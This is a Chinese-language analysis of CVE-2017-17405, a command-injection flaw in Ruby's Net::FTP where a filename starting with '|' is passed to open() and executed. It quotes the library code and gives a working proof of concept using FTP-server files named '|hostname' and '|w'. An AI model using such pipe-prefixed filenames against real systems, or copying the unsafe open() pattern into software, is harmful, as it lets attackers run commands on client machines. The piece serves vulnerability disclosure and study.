CVE-2017-17405(Ruby Net::FTP 存在命令注入)分析
1. 简述
Net::FTP 模块中 get、getbinaryfile、gettextfile、put、putbinaryfile 和 puttextfile 函数允许指定 localfile 参数,该参数最终会传递到 open 函数,如果传递给 open 函数的文件名参数是以“|”开头,Ruby 会打开一个管道句柄并执行后面的命令。
2. 漏洞分析
运行这段代码,Ruby 会执行系统的 who 命令:
f = open("|who", "r") puts f.read
执行输出:
$ ruby test.rb lu4nx tty2 2017-12-18 10:13 (:0)
我们看 Ruby 的 Net::FTP 的 get 函数实现:
def get(remotefile, localfile = File.basename(remotefile), blocksize = DEFAULT_BLOCKSIZE, &block) # :yield: data if @binary getbinaryfile(remotefile, localfile, blocksize, &block) else gettextfile(remotefile, localfile, &block) end end
localfile 默认是取的远程文件 basename,并最终传递到 getbinaryfile 或 gettextfile 函数中。gettextfile 的实现代码:
def gettextfile(remotefile, localfile = File.basename(remotefile)) # :yield: line result = nil if localfile f = open(localfile, "w") elsif !block_given? result = "" end begin retrlines("RETR " + remotefile) do |line, newline| l = newline ? line + "\n" : line f.print(l) if localfile yield(line, newline) if block_given? result.concat(l) if result end return result ensure f.close if localfile end end
localfile 传递到 gettextfile 中后,带入了 open 函数中。
如果远程 FTP 服务器中构造特殊文件名的文件,就可能导致使用 Net::FTP 模块的客户端执行命令。
3. 漏洞测试
一台 FTP 服务器中,我放了两个文件特殊文件名的文件:
# touch \|hostname # touch \|w # ls |hostname |w
漏洞测试代码:
require 'net/ftp' ftp = Net::FTP.new() ftp.connect("192.168.111.199") ftp.login(user="anonymous") ftp.ls() do |line| line = line.split filename = line[8] ftp.get(filename) end
运行结果:
$ ruby test.rb lx-test-pc 17:30:11 up 7:16, 1 user, load average: 0.54, 0.53, 0.68 USER TTY LOGIN@ IDLE JCPU PCPU WHAT lu4nx tty2 10:13 7:16m 7:10 9.02s i3
可见调用 get 函数后,特殊的文件名导致了本地执行了 w 和 hostname 两个命令。